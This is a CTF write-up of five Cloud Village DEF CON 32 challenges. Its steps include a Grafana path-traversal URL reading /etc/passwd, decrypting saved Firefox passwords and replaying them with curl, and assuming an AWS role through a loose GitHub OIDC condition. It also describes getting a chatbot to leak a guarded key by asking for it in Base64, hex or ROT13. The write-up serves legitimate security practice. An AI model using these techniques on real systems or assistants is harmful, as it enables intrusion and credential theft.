WriteUp: Cloud Village CTF 2024
You know we can't resist anything with a scoreboard and related to the cloud... And neither distance nor time zones were going to stop us from giving a shot at the CTF organized by Cloud Village at #DEFCON32 last weekend.
We couldn't dedicate much time to it, but we managed to solve 5 out of the 30 challenges and finish 21st out of 104 teams.
Here’s a walkthrough of the challenges we solved.
Dracarys - Game Hacking Village Challenge ~ 100
Within the site, there's a link to a zip file:
In the zip, we find some instructions:
Output
Welcome Dev, sharing instructions to securely store passwords for our dashboarding tool located at:
http://main-alb-1466274369.us-west-1.elb.amazonaws.com:8088/login/
Algorithm used for encryption of passwords:
# Generate a 2048-bit RSA private key
openssl genpkey -algorithm RSA -out private_key.pem -aes256 -pass pass:ZGVmY29uXzIwMjQ=
Using the above algorithm we have encrypted a file named file.enc, containing the user name and password.
# We have set up database connections:
Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==
References to add database connections in superset:
1. Login with the user name and password
2. Navigate to add a new database connection (Data -> Connect Google Sheets).
3. Fill out the form with the connection string and a name for the database.
4. Once the database is created -> Click on "Connect", then "Query Data in Sql Lab" and wait for a couple of seconds
Then click on cancel and query the data in sql lab
5. Hint : Checkout the "Saved Queries" under "SQL Lab" if the connection string does not work !!!
We have the file.enc
, the key, and in the instructions, the password for the key:
- The key was generated with:
- The password is:
With that, we can decrypt the file.enc
:
$ openssl rsautl -decrypt -inkey private_key.pem -in file.enc -out decrypted_file.txt
Enter pass phrase for private_key.pem:
$ cat decrypted_file.txt
username : sf_admin
password: Lha@jasd982!!
With these credentials, we can access the dashboard mentioned in the instructions, but first, let's take a look at this other piece that has a base64 string:
Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==
It’s a link to a spreadsheet:
$ printf "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==" | base64 -d
https://docs.google.com/spreadsheets/d/1eXzES6XjUedupHznHdukQC0naPSxvtHrwacLSHPiZbM/edit?usp=sharing
In which we directly find the flag:
Daenerys ~ 150
The link "to Eldoria" leads to a Grafana login panel:
This challenge was in the "Shadowy Exploits" section, and based on the message "New version available!" it seems it's not the latest version of Grafana.
With a quick search, we found CVE-2022-32275:
Grafana 8.4.3 allows reading files via (for example) a
/dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd
URI.
Let's try... We enter:
http://main-alb-1043141211.us-west-2.elb.amazonaws.com:3000/dashboard/snapshot/%7B%7Bconstructor.constructor'/..%20/..%20/..%20/..%20/..%20/..%20/..%20/..%20/etc/passw
The Mozilla Matrix ~ 300
The challenge starts with a zip file that contains:
$ ls sv7i9wlm.MozillaMatrix
AlternateServices.bin key4.db
ExperimentStoreData.json logins-backup.json
SiteSecurityServiceState.bin logins.json
addonStartup.json.lz4 parent.lock
addons.json permissions.sqlite
broadcast-listeners.json pkcs11.txt
cert9.db places.sqlite
compatibility.ini places.sqlite-shm
containers.json places.sqlite-wal
content-prefs.sqlite prefs.js
cookies.sqlite protections.sqlite
cookies.sqlite-shm search.json.mozlz4
cookies.sqlite-wal sessionCheckpoints.json
crashes sessionstore-backups
datareporting sessionstore.jsonlz4
domain_to_categories.sqlite settings
domain_to_categories.sqlite-journal shader-cache
extension-preferences.json shield-preference-experiments.json
extensions.json storage
favicons.sqlite storage.sqlite
favicons.sqlite-shm targeting.snapshot.json
favicons.sqlite-wal times.json
formhistory.sqlite webappsstore.sqlite
gmp-gmpopenh264 webappsstore.sqlite-shm
gmp-widevinecdm webappsstore.sqlite-wal
handlers.json xulstore.json
Based on the title and the files, it looks like a copy of a Mozilla Firefox configuration.
The logins.json
and logins-backup.json
files caught our attention, both containing this JSON:
{
"nextId": 6,
"logins": [
{
"id": 5,
"hostname": "https://mozillamatrix.dragons-in-the.cloud",
"httpRealm": null,
"formSubmitURL": "",
"usernameField": "",
"passwordField": "",
"encryptedUsername": "MHIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKURO2ywGqkWBEhCvChZj5Rt65g69RF1Qd/91NHtCtxhR+swJ6KcGBHfGOzXlq+CylSR6pvPo5Se8lpjAArR2yMzxp9siASYrunW1mXabYVPPuA=",
"encryptedPassword": "MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECAtKGEAlTubCBBidkBCkEJ3BX9K+cRTzYhrmBpodGwRefHw=",
"guid": "{071cdb86-4be5-40b0-9a8e-e9d29f9d2715}",
"encType": 1,
"timeCreated": 1719734759912,
"timeLastUsed": 1719734759912,
"timePasswordChanged": 1720149199020,
"timesUsed": 1,
"syncCounter": 3,
"everSynced": false,
"encryptedUnknownFields": null
}
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}
Only encryptedUsername
, encryptedPassword
, timePasswordChanged
, and syncCounter
change between the files.
Using firefox_decrypt, we extracted the usernames and passwords from both files:
root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location
Website: https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sL'
root@2a8987f98b1c:~/data/firefox_decrypt-main# mv ../sv7i9wlm.MozillaMatrix/logins-backup.json ../sv7i9wlm.MozillaMatrix/logins.json
root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location
Website: https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sLp'
Using these credentials for basic auth didn’t work, but manually entering the username
and password
as headers from the browser did:
With curl, it would be:
curl -v 'http://mozillamatrix.dragons-in-the.cloud/TlF8KNeH6d' -X POST -H 'username: f34e60ec-bdcd-4821-9f5b-902db18db2b0' -H 'Password: 1UA4>C41eE@M=_4n4U:.sL'
Output
* Host mozillamatrix.dragons-in-the.cloud:80 was resolved.
* IPv6: (none)
* IPv4: 138.197.232.86
* Trying 138.197.232.86:80...
* Connected to mozillamatrix.dragons-in-the.cloud (138.197.232.86) port 80
> POST /TlF8KNeH6d HTTP/1.1
> Host: mozillamatrix.dragons-in-the.cloud
> User-Agent: curl/8.6.0
> Accept: */*
> username: f34e60ec-bdcd-4821-9f5b-902db18db2b0
> Password: 1UA4>C41eE@M=_4n4U:.sL
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.10.14
< Date: Sun, 11 Aug 2024 08:29:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 39
< Connection: close
<
* Closing connection
FLAG-{0BsgU7Y6wH8khvmJvtUmVF7UVOOksDnk}
IR-Knights Assistant ~ 390
We access a chatbot with different "modes," and mode 4 requires extra verification:
We follow its advice and try to get clues from the other modes:
We get the first clue:
The key consists of multiple words combined together, with an underscore "_" separating the words. It does not contain any spaces. The key is case-sensitive, so you'll need to enter it exactly as specified, including the proper capitalization.
Another clue:
The key consists of multiple words combined in a phrase. If separated into individual words, one of the words is a common cybersecurity term referring to a malicious actor. Additionally, the key can potentially be represented in different encoded formats besides plaintext, such as Base64, hexadecimal, reversed, or ROT13 encoding.
Note
This usually works well with chatbots of this type that aren’t well protected and only check that they’re not literally revealing the string of the data they want to protect.
We get the verification code:
We use a temporary email from webhook.site, but nothing arrives...
Just in case the site isn’t supported, we ask what types of addresses are supported:
Now we receive a request with this payload in the webhook:
We download the two images from the repo and exported the filesystem:
$ ls -a container/app
IR-Knights.py requirements.txt
$ ls -a container-v0/app
app Dockerfile .env IR-Knights.py requirements.txt
And in that .env
we have...
Warden's Ruse ~ 540
Once again, we are given a zip file. Inside, we find what appears to be an export of a GitHub repo:
$ ls -aR Wardens-Ruse-main
.github Warden.png repo-visibility.png
README.md main.tf
Wardens-Ruse-main/.github:
workflows
Wardens-Ruse-main/.github/workflows:
apply-prod.yaml
In the README.md
, we see that they are setting up a bucket and a website on CloudFront:
TODO: Lock up once Haxisha finishes setting up dc32-wardens-treasure-prod and <https://d2azf0l1i0s26w.cloudfront.net/>.
Taking a look at main.tf
, we see that they create a role that doesn't seem to be properly restricted:
resource "aws_iam_role" "warden" {
name = "warden-production" // (1)!
assume_role_policy = data.aws_iam_policy_document.warden-role.json
}
data "aws_iam_policy_document" "warden-role" {
statement {
actions = ["sts:AssumeRoleWithWebIdentity"]
principals {
identifiers = [aws_iam_openid_connect_provider.github.arn]
type = "Federated"
}
condition {
test = "StringEquals"
values = ["sts.amazonaws.com"]
variable = "token.actions.githubusercontent.com:aud"
}
condition {
test = "StringLike"
values = ["repo:*/Wardens-Ruse:ref:refs/heads/endlessendurance"] // (2)!
variable = "token.actions.githubusercontent.com:sub"
}
condition {
test = "StringEquals"
values = ["private"]
variable = "token.actions.githubusercontent.com:repository_visibility"
}
}
}
- The name of the role they are creating, this will be useful later.
- This condition allows any user with a private GitHub repo named
Wardens-Ruse
and using the branchendlessendurance
to assume this role using GitHub Actions.
We create a private repo with the code from the zip and try to assume the role that "Haisha" is working on:
- name: Auth to AWS
uses: aws-actions/configure-aws-credentials@v4
with:
aws-region: us-west-2
role-to-assume: arn:aws:iam::${{ secrets.ACCOUNT_ID }}:role/warden-production # (1)!
- This is the role name we saw in main.tf.
But to assume the role, we need the ACCOUNT_ID
. We try with the account ID we had from another challenge we couldn't fully solve and...
Nota
Here, we were lucky using the account ID from another challenge; it was actually "hidden" on the CloudFront website.
And that's all folks! We had a few more challenges that we couldn't finish, and we'll have to wait for the writeups to find out what we were missing.
If you have any questions about any of the steps or comments, don't hesitate to write to us.
We hope that reading about how these challenges work will encourage you to participate in future CTFs; it's a fun way to practice what you already know and learn a few more things along the way. (Be careful, they're addictive!)
Saludos, and may the force be with you.